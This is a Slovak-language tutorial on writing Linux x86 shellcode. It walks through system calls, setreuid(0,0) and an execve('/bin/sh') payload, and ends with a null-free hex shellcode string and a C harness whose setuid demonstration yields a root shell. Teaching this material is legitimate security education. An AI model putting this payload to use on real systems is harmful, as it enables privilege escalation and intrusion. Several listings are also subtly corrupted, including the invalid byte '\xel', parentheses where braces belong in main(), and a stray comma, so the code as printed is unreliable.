Základy linuxového shellkódu
Po prečítaní tohto článku budete schopný napísať svoj vlastný shellkód.
Výrazom shellkód sa označuje sebestačný kus binárneho kódu, ktorý vykoná nejakú úlohu. Úlohou môže byť čokoľvek, od spustenia systémového príkazu až na poskytnutie shellu útočníkovi (čo pôvodne bývala jediná úloha shellkódu, odtiaľ názov shell kód). Shellkód sa dá napísať v zásade troma rôznymi spôsobmi:
- Priamym zápisom kódov inštrukcií.
- Napísaním programu v nejakom vyššom jazyku (napríklad C), prekladom a následným disassemblování (viď článok), ktorým dostanete kódy inštrukcií.
- Napísaním programu v assembleri, jeho prekladom a prečítaním kódov inštrukcií z výsledného programu.
Priame písanie kódov inštrukcií je trochu extrémny šport – my začneme písaním shellkódu pomocou C, ale rýchlo sa presunieme k assembleru. Tak ako tak budete musieť rozumieť nízkoúrovňovým funkciám pre čítanie, zápis a spúšťanie. Tieto funkcie poskytuje jadro, takže sa najprv v stručnosti pozrieme na komunikáciu medzi užívateľskými procesy a jadrom.
Systémové volania
Operačný systém slúži ako vrstva medzi používateľom (procesy) a hardvérom. Pre komunikáciu s operačným systémom slúžia tri základné nástroje:
- Hardvérové prerušenia, napríklad asynchrónny signál z klávesnice.
- Hardwarové pasce, napríklad pokus o delenie nulou.
- Softvérové pasce, napríklad požiadavka na spustenie procesu.
Softvérové pasce sú pre etický hacking najdôležitejšie, pretože procesu umožňujú podľa potreby komunikovať s jadrom. Jadro užívateľovi poskytuje abstraktné rozhranie k základným funkciám systému, toto rozhranie sa skladá z takzvaných systémových volaní. Zoznam systémových volaní Linuxu a ich čísel nájdete v súbore /usr/include/asm/unistd:
#ifndef _ASM_I386_UNISTD_H_ #define _ASM_I386_UNISTD_H_ /* * This file contains the system call numbers. */ #define __NR_restart_syscall 0 #define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_waitpid 7 #define __NR_creat 8 #define __NR_link 9 #define __NR_unlink 10 #define __NR_execve 11 #define __NR_chdir 12 #define __NR_time 13 #define __NR_mknod 14 #define __NR_chmod 15 #define __NR_lchown 16 #define __NR_break 17 #define __NR_oldstat 18 #define __NR_lseek 19 #define __NR_getpid 20 #define __NR_mount 21 #define __NR_umount 22 #define __NR_setuid 23 #define __NR_getuid 24 #define __NR_stime 25 /* atd. atd. */ #define __NR_setreuid 70 /* atd. atd. */ #define __NR_socketcall 102
V ďalšej časti sa pozrieme, ako sa systémové volania používajú; začneme v C.
Systémové volania v C
V jazyku C sa systémové volania používajú ľahko, pretože sú obalené knižničným funkciami – stačí zavolať knižničnú funkciu a odovzdať jej vhodný počet parametrov. Signatúry funkcií najľahšie nájdete pomocou príkazu man – keby vás zaujímalo povedzme volanie execve, zadali by ste:
$man 2 execve
Tento príkaz zobrazí nasledujúce stránku:
EXECVE(2) Linux Programmer's Manuál EXECVE(2)
NAME
execve - execute program
SYNOPSIS
#include
int execve (const char *filename, char *const argv [], char *const envp[])
...V ďalšom texte si ukážeme, ako sa systémové volania dajú použiť priamo z assembleru.
Systémové volania v assembleri
Pri volaní systémových funkcií z assembleru musíte ručne naplniť registre. Do registra EAX sa ukladá číslo systémového volania (pozri výpis súboru unistd.h vyššie) a do registrov EBX, ECX, EDX, ESI a EDI postupne prvý až piaty parameter systémového volania. Ak je parametrov menej, príslušné registre nastavovať nemusíte. Keď je parametrov viac ako päť, musíte do pamäti uložiť ako pole, ktorého adresu potom odovzdáte v registri EBX.
Akonáhle sú registre nastavené, príkazom
int 0x80
vyvoláte softvérové prerušenie, jadro preruší svoju aktuálnu činnosť a začne spracovávať vašu požiadavku. Najprv si skontroluje správnosť parametrov, potom hodnoty registrov skopíruje do adresového priestoru jadra a podľa tabuľky prerušení (IDT: Interrupt Descriptor Table) prerušenie obslúži.
Celý proces najlepšie pochopíte na príklade, viď nasledujúci text.
Systémové volanie exit
Prvé systémové volanie, na ktoré sa pozrieme, jednoducho ukončí program. Má číslo 1 (pozri výpis súboru unistd.h vyššie), volá sa exit a v jazyku C mu zodpovedá funkcia exit. Má jediný parameter, ktorým je návratová hodnota programu. Keďže ide o náš prvý pokus so systémovými volaniami, začneme v C.
Systémové volania exit (0) v C zavoláte takto:
$ cat exit.c#include <stdlib.h> main () { exit(0); }
Schválne si program skúste preložiť. Pri preklade pridajte parameter -static, aby bolo súčasťou výsledného programu aj telo funkcie exit:
$ gcc -static -o exit exit.c
Teraz si spustite gdb (parameter -q zapína tichý režim, v ktorom gdb nevypisuje úvodné texty), nastavte breakpoint na funkciu main, príkazom r spustite program a príkazom disass _exit si nechajte disassemblerovať funkciu _exit:
$ gdb exit -q (gdb) b main Breakpoint 1 at 0x80481d6 (gdb) r Starting program: /root/clanok/exit Breakpoint 1, 0x080481d6 in main () (gdb) disass _exit Dump of assembler code for function exit: 0x804c56c <_exit> mov 0x4(%esp,1),%ebx 0x804c570 <_exit+4> mov $0xfc,%eax 0x804c575 <_exit+9> int $0x80 0x804c577 <_exit+11> mov $0x1,%eax 0x804c57c <_exit+16> int $0x80 0x804c57e <_exit+18> hlt
Ako vidíte, funkcia začína načítaním prvého parametra (v našom prípade nula) do registra EBX. Na riadku označenom ako _exit+11 sa do registra EAX uloží číslo systémového volania (0×1) a potom dôjde k prerušeniu (int $0×80). Všimnite si, že prekladač sám od seba pridal ešte volania funkcie exit_group (systémové volanie čísla Oxfc resp. 252) – ta funguje uplně rovnako ako exit, ale ukončí všetky vlákna v aktuálnej skupine. Toto volanie navyše pridali ľudia, ktorí pre našu konkrétnu linuxovou distribúciu balili libc. Vo väčšine prípadov sa hodí, ale my si v shellkóde nadbytočné volania funkcií dovoliť nemôžeme, a tak sa budete musieť naučiť písať shellkód priamo v assembleri
Prechod k assembleru
Jemný pohľad na vyššie uvedený koci funkcie exit prezradí, že nejde o žiadnu čiernu mágiu. To isté by ste pomocou assembleru ľahko dokázali urobiť sami:
$ cat exit.asmsection .text ; zacina kod programu global _start _start: ; označením začiatku si ušetríme problémy s linkerom xor eax, eax; bezpečná skratka pre vynulovanie registra EAX (pozri text) xor ebx, ebx; bezpečná skratka pre vynulovanie registra EBX mov al, 0x01; keď pracujeme len s jedným bajtom, vyhneme ; sa zarovnaniu na plných 32 bitov registra EAX (pozri text) int 0x80; volanie jadra
Volanie funkcie exit_group sme vynechali, pretože nie je potreba. Použitím príkazu xor na jeden a ten istý register sa obsah registra vynuluje. To je praktickejšie ako príkaz typu mov ax, pretože ten by do výsledného binárneho kódu vložil znak null, a náš shellkód by potom po uložení do reťazca končil predčasne. Z rovnakého dôvodu sa vyhýbame príkazu mov eax, 0×01, pretože ten by hodnotu uloženú do registra automaticky zarovnal na veľkosť registra, výsledný hexadecimálny kód by bol b8 01 00 00 00, a reťazec so shellkódom by opäť skončil predčasne. Keď použijeme najnižšiu jednobajtovú časť registra EAX tak nedôjde k zarovnaniu čísla na štyri bajty.
Preklad, zostavenie a testovanie
Zostáva dať všetko dohromady. Zdrojový kód v assembleri môžeme preložiť pomocou NASM, zostaviť pomocou ld a konečne spustiť:
$ nasm -f elf exit.asm $ ld exit.o -o exit $ ./exit
Moc sa toho nestalo, pretože sme jednoducho zavolali exit(0) a program ukončili. Našťastie máme ešte jednu možnosť, ako zistiť, čo presne sa v programe deje.
Sledovanie pomocou strace
Ak potrebujete overiť, aké systémové volania program volá, pomôže vám program strace:
$ strace ./exit execve (./exit, [./exit], [/* 26 vars */]) = 0 _exit (0) = ?
Ako vidíte, program skutočne vykonal systémové volanie _exit(0). Skúsme teraz nejaké iné systémové volanie.
Systémové volanie setreuid
Cieľom nášho simulovaného útoku bude často nejaký SUID program. Dobre napísané SUID programy ale k väčším právam siahajú len vtedy, keď ich potrebujú – preto je často potrebné prepnúť na vyššie práva ručne. K tomu sa dá použiť systémové vo setreuid, ktoré dokáže obnoviť alebo nastaviť skutočné a efektívne oprávnenia procesu.
Parametre volania setreuid
Systémove volanie setreuid má číslo 70 (0×46, pozri súbor unistd.h vyššie) a dva parametre. Prvý parameter (register EBX) je skutočné ID používateľa resp RUID (real user ID), v našom prípade nula (root). Druhý parameter, ktorý sa ukladá do registra ECX, je efektívne ID užívateľa resp EUID, ktoré je v našom prípade opäť nulové.
Volanie z assembleru
Systémové volanie setreuid(0,0) vykoná nasledujúci kód v assembleri:
$ cat setreuid.asmsection. text; začiatok oddielu s kódom global _start; deklarácia globálneho návestia _start: ; aby linker nemusel hádať a nesťažoval si xor eax, eax; vynulovať register EAX, aby sme ho mohli v ďalšom ; riadku nastaviť mov al, 0x46; nastaviť spodný bajt EAX na číslo volania (0x46 = 70) xor ebx, ebx; vynulovať register EBX xor ecx, ecx; vynulovať register ECX int 0x80; zavolať systém mov al, 0x01; nastaviť číslo volania na jedna (exit) int 0x80; zavolať systém
Ako vidíte, jednoducho naplníme registre a zavoláme int 0×80. Program opäť končí volaním exit(0), ktoré je tentoraz o niečo jednoduchšie, pretože register EBX už obsahuje nulu.
Preklad, zostavenie a testovanie
Zdrojový kód ako zvyčajne preložte pomocou NASM, zostavte pomocou ld a spustite:
$ nasm -f elf setreuid.asm $ ld -o setreuid setreuid.o $ ./setreuid
Overovanie pomocou strace
Navonok toho opäť moc nespoznáte, pomôže vám strace:
$ strace ./setreuid execve(./setreuid, [./setreuid], [/* 26 vars */]) = 0 setreuid(0, 0) = 0 _exit (O) = ?
Presne ako sme čakali!
Spustenie shellu pomocou execve
Programy sa dajú v Linuxe spustiť niekoľkými rôznymi spôsobmi, jedným z najčastejších je systémové volanie execve. My si pomocou tohto volania skúsime spustiť program /bin/sh.
Systémové volanie execve
Podľa man stránky by spustenie programu /bin/sh funkciou execve vyzeralo približne takto:
char* shell[2]; // pomocné pole na dva reťazce shell[0] = "/bin/sh"; // prvy prvok poľa nastavíme na "/bin/sh" shell[1] = NULL; // druhý prvok nastavíme na NULL execve(shell[0], shell, NULL); // zavoláme execve
V assembleri by volanie execve vyzeralo nasledovne:
- EAX = OXB čiže 11. Technicky vzaté musíte na 0xb nastaviť AL, inak by zase došlo k zarovnanie čísla nulami.
- EBX = adresa reťazca /bin/sh uloženého niekde v pamäti.
- ECX = adresa poľa reťazcov, ktoré začína predchádzajúcim /bin/sh a končí na null.
- EDX = jednoducho 0×0, pretože tretí parameter môže byť null.
Jediným problémom je zostavenie reťazca /bin/sh a práca s jeho adresou. My použijeme chytrý trik a reťazec zostavíme z dvoch kusov na zásobníku, takže adresu potrebnú pre parametre volania potom odvodíme z adresy zásobníka.
Volanie z assembleru
Nasledujúci assemblerový program najprv zavolá setreuid(0,0) a potom execve /bin/sh:
$ cat sc2.asmsection .text ; začiatok oddielu s kódom global _start ; deklarácie globálneho návestí _start: ; označovanie kódu návestím je praktický zvyk xor eax, eax ; vynulovanie registra EAX, príprava na ďalší riadok mov al, 0x46 ; systémové volanie číslo 0x46 alebo 70, jeden bajt xor ebx, ebx ; vynulovanie registra ebx xor ecx, ecx ; vynulovanie registra ecx int 0x80 ; volanie systému ; spustenie shellu pomocou execve xor eax, eax ; vynulovanie registra eax push eax ; na vrchol zásobníka uložíme NULL push 0x68732f2f ; pridáme reťazec "//sh", doplnený úvodným lomítkom push 0x6e69622f ; a reťazec /bin (všimnite si, že sú oba reťazce odzadu) mov ebx, esp ; esp teraz ukazuje na "/bin/sh", takže ho uložíme do ebx push eax ; eax je stále nulový, môžeme ním ukončiť char** argv na zásobníku push ebx ; ešte raz adresa "/bin/sh", máme ju v ebx mov ecx, esp ; adresa argv je v esp, uložíme ju do ecx xor edx, edx ; nastavíme edx na nulu (NULL), nie je potreba mov al, 0xb ; systémové volanie 0xb = 11, jeden bajt int 0x80 ; volanie systému
Ako vidíte, reťazec /bin/sh na zásobník skladáme odzadu. Najprv príde ukončovací NULL, potom //sh (reťazec musí mať štyri bajty, aby sa správne zarovnal, a dvojité lomítko nič nepokazí) a nakoniec /bin. V tomto okamihu už máme na zásobníku všetko, čo potrebujeme, takže adresu reťazca nájdeme v ESP. Zvyšok kódu je len nastavenie parametrov volania execve pomocou elegantného využitia zásobníka a hodnôt registrov.
Preklad, zostavenie a testovanie
Hotový shellkód si môžete vyskúšať, stačí preložiť pomocou NASM, zostaviť pomocou ld, nastaviť setuid bit a spustiť:
$ nasm -f elf sc2.asm $ ld -o sc2 sc2.o $ sudo chown root sc2 $ sudo chmod +s sc2 $ ./sc2 sh-2.05b# exit exit $
Hurá! Funguje!
Ako získať kódy inštrukcií
Nezabudnite na to, že ak svoj shellkód chceme použiť v rámci exploitu, musíme z neho urobiť reťazec. Šestnástkové kódy inštrukcií dostanete jednoducho pomocou programu objdump, disassemblerovanie sa zapína parametrom -d:
$ objdump -d ./sc2 ./sc2: file formát elf32-i386
Disassemblerovaná sekcia .text:
08048080 <_start>: 8048080 31 cO xor %eax, %eax 8048082 bO 46 mov $0x46,%al ; atd
Najdôležitejšie je pozrieť sa, či medzi kódmi nie sú znaky null (0×00). Keby sa tam nejaké našli, shellkód by sa nedal priamo použiť ako reťazec do exploitu.
Testovanie shellkódu
Aby sme sa uistili, že pre náš shellkód bude skutočne fungovať aj v rámci reťazca, vyrobíme si nasledujúci testovací program. Všimnite si, že sa reťazec so shellkódem dá rozdeliť na samostatné riadky s jednou inštrukciou. Výsledok je oveľa čitateľnejší, takže sa vám tento zvyk oplatí.
$ cat sc2.c char sc[] = // biele znaky (napríklad konce riadkov) sa nepočítajú // setreuid(0,0) "\x31\xc0" // xor %eax,%eax "\xb0\x46" // mov $0x46,%al "\x31\xdb" // xor %ebx,%ebx "\x31\xc9" // xor %ecx,%ecx "\xcd\x80" // int $0x80 // spustit shell pomocou execve "\x31\xc0" // xor %eax,%eax "\x50" // push %eax "\x68\x2f\x2f\x73\x68" // push $0x68732f2f "\x68\x2f\x62\x69\x6e" // push $0x6e69622f "\x89\xe3" // mov %esp,%ebx "\x50" // push %eax "\x53" // push %ebx "\x89\xel" // mov %esp,%ecx "\x31\xd2" // xor %edx,%edx "\xb0\x0b" // mov $0xb,%al "\xcd\x80"; // int $0x80, podkočiarkou (;) končí reťazec
void main () ( void (*fp) (void); // deklarujeme ukazovateľ na funkciu, fp = (void*) sc, / / nastavíme ho na adresu shellkódu fp (); // a spustíme funkciu (alebo shellkód) )
Program sa začne tým, že shellkód uloží do bufferu s menom sc. Ďalej vytvori ukazovateľ fp, čo je obyčajné štvorbajtové celé číslo používané ako ukazovateľ na nejakú funkciu. Tento ukazovateľ nastaví na adresu shellkódu, ktorý nakoniec spustí.
Kód si preložte a vyskúšajte:
$ gcc -o sc2 sc2.c $ sudo chown root sc2 $ sudo chmod +s sc2 * $ ./sc2 sh-2.05b# exit exit
Ako sa dalo čakať, dostali sme rovnaké výsledky ako minule. Gratulujeme, teraz môžete začať s písaním svojho vlastného kódu.